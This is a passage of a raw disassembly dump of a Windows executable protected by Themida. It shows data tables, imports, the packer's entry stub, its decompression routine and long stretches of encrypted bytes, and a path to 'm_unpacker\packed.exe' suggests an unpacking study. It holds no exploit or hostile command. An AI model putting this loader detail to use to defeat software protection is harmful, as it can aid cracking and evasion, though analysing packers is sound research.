dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dword_4DB370 dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E1000 ( 921600.) ; Section size in file : 000E1000 ( 921600.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 191BCB79h, 405E4h, 54090h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E7C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00541AAA SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00541D20 SIZE 0000004D BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53E7C9 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dword_4E00B8 dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53E7C9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 15232DCh, 8B11BCFBh, 54BC2A84h, 6D656803h, 84616469h dd 3321AA7Eh, 0BBAF10EEh, 42B892C8h, 138BFABh, 25FEBE42h dd 7DB8B701h, 0D570E7F2h, 3A62479h, 1BD55DDCh, 7F840336h dd 1AE19822h, 2E35F2EFh, 1C30BC11h, 21312D34h, 71915F7Fh dd 0F9758570h, 1DC21D22h, 6552E0F5h, 61397473h, 70419C72h dd 789F2E5Eh, 21B24238h, 0FDAE102Eh, 0BF102B6Eh, 3203C6A1h dd 8BECEA47h, 0D410C572h, 5D80E860h, 32EBED81h, 8905E403h dd 80F7995h, 1C65B50Dh, 1F50859Ch, 0A1BD830Dh, 0C74C025h dd 12E88B39h, 0D5D3B8E2h, 3870DEC2h, 3EE62444h, 6A0C63A1h dd 29A3E845h, 749A0F68h, 0DF4A0783h, 4B25030Ah, 0D5D20A89h dd 214E921h, 1FAEC4Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+133D9EAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E036E iret ; --------------------------------------------------------------------------- dd 83E60820h, 0FF6E4543h, 0E1EBE612h db 36h, 37h ; --------------------------------------------------------------------------- loc_4E036E: ; CODE XREF: Themida_:004E035Dj fsub qword ptr [ecx+26h] inc ecx leave retn 4004h ; --------------------------------------------------------------------------- dw 8146h dd 0FF687CC4h, 22E24902h, 458D0034h, 5D0A8B80h, 1985C708h dd 8D505022h, 0C305D10Ah, 89411888h, 0BD810B45h, 145D0610h dd 0A127E375h, 6447BA8Dh, 8A807560h, 0F4BB240Eh, 0ABB8805Bh dd 0D3785437h, 0F61D07Eh, 0F7754B08h, 29C3AFD8h, 234A4647h dd 42F91546h, 8A61D115h, 0F03AD0D0h, 45EEC5FEh, 0EB4D05FCh dd 46AD1E04h, 403E8046h, 84BAF729h, 7D3034B7h, 0C87FEB0Ch dd 6D66F83Eh, 65F04212h, 1040F40Eh, 0F065C14Ah, 0F8D6A004h dd 3E01CD1h, 3328B0C2h, 1C0E8ADBh, 66FB8030h, 1E0A0A72h dd 9F057739h, 223379EBh, 0DFB6114h, 0B7660A3Fh, 0A7AF1E08h dd 10560AC3h, 7241181Ah, 77460A0Bh, 5124066Fh, 0F05D010Ch dd 8339F4ECh, 72028D7Dh, 0C09B0CB0h, 0AAB3A576h, 0E7F82620h dd 0B58D03h, 0FC553BA8h, 7854820Fh, 0AAE0B0BDh, 0BA2838DFh dd 0B9700870h, 0BDFC7054h, 356820h, 49470FFEh, 22B9FA75h dd 0BBEE6AE2h, 0F1FA0171h, 0CEB8237h, 868EC78Eh, 6E53710h dd 6F657051h, 0CAFD1D36h, 1407268Ah, 590005E9h, 10BC6753h dd 6B7F5CE6h, 8704FDF1h, 0C45B211Fh, 25558A20h, 45823305h dd 21001B08h, 9CC45343h, 68448DBh, 2C22BB52h, 0F16C6AC3h dd 8C5152CCh, 11C45939h, 1E88458Ah, 0C4514180h, 1656FBh dd 94B268FEh, 1076D283h, 27078B30h, 0E5AE482h, 675EA4F5h dd 1621ECEEh, 0C334CB8Ch, 4E391200h, 100F765Bh, 3D510FB8h dd 3B8ED104h, 754446CCh, 0B02E093Ah, 0EC480E11h, 906514E4h dd 84808E06h, 968E05C5h, 53AB9954h, 0C2040A8Fh, 718C8C29h dd 0ED0E7E0h, 0FF617686h, 477812Bh, 341D2280h, 33F984C1h dd 0BC207532h, 0AEE0E3Fh, 230EFCCh, 0E6198DA3h, 0FFCC7F8Ch dd 450C40F9h, 60A5E9FEh, 52C46200h, 8254D8Ch, 0B1AA8211h dd 0D05AAB4Ch, 56891384h, 825E1118h, 81A4EE2Ah, 136232A1h dd 88B9EA8Ah, 97142313h, 0C309A443h, 540704D9h, 0C8C45C61h dd 448C5D8Ah, 54034416h, 0EADF0FC4h, 0E1150714h, 2089E467h dd 2DAF500Bh, 0A3B06C0Eh, 0D2A720CAh, 11B5812h, 0BCDA8D67h dd 0E814A5F5h, 86C6E281h, 30490D85h, 90B08EAh, 7D002D5Ah dd 0BCEC867h, 6A8610CAh, 74611F53h, 4A001C46h, 0C57BB4FEh dd 30050E39h, 2A9686C8h, 2B029C0Ch, 0BCFD018Bh, 71AB35Dh dd 502522EAh, 0DA8B1375h, 81A4900Eh, 6C1900FFh, 6121C3ECh dd 2FFEB2BAh, 222FFA52h, 0E8B81F01h, 29E60D8Ah, 0A5251018h dd 18981D84h, 0D6E9A900h, 3D873FCDh, 6BC1FBAh, 3A08D844h dd 0E98127F6h, 1B334740h, 5E530083h, 0FAA8DEB1h, 0E0003F38h dd 3157EACBh, 160A32Bh, 82CAC010h, 916465C8h, 760012C7h dd 8CC56CF4h, 0E000A854h, 0A3A9287Eh, 24BC1D7Dh, 323685Fh dd 9958BF67h, 44393581h, 906C14DBh, 0B29BE73Dh, 61E0A5Ch dd 0F4C05654h, 6566BC89h, 2F0960EAh, 0E5FC4C35h, 8C55300Ch dd 1F52644h, 6766AC26h, 30C592BAh, 3605A11Fh, 87104679h dd 1D8AA020h, 26E95008h, 0EE040103h, 70973AEFh, 5408090h dd 8A105AF2h, 52DEA40Ch, 0D7285681h, 0E98424A3h, 4223A3Fh dd 82F29280h, 9E65F91Ch, 2C3A4838h, 77A98185h, 3BBFAC80h dd 90A94Bh, 2C0756F6h, 853EEEE1h, 7FE05300h, 0A6F5CF30h dd 0DD450EB7h, 0F927F03Bh, 6DF720EFh, 9F1854FBh, 0DC21D8F6h dd 0C7070091h, 0D115FEABh, 38000943h, 958B78C2h, 0F934A00Dh dd 627AB30h, 0B0ACDDB3h, 0B7000852h, 0E53C40C7h, 364A2Ah dd 0FF8813C5h, 8DFCC8BAh, 0CC7CB703h, 7C4ECBDBh, 6B180231h dd 127D9BEDh, 2AEE8940h, 0E829B000h, 28AB1F78h, 0C7C00ED4h dd 31406AF6h, 418F2CC5h, 29BA5E00h, 809CCF8h, 69240156h dd 84A74CCAh, 0ACC88F47h, 4B8A406Eh, 0FB9FD5h, 302F3CA1h dd 0A429EBB2h, 29C08175h, 540AFC12h, 88D906D2h, 0A156D0DBh dd 8D63030h, 9A845h, 6E5593BFh, 27D24E36h, 0F647AA0Ah dd 74809CD9h, 0DCA7E4EBh, 0CBB300E5h, 0E3DAABF5h, 9579CDEFh dd 960A1B06h, 0EA31DCF6h, 3B8A00E2h, 0A4AE9365h, 9D71F2CCh dd 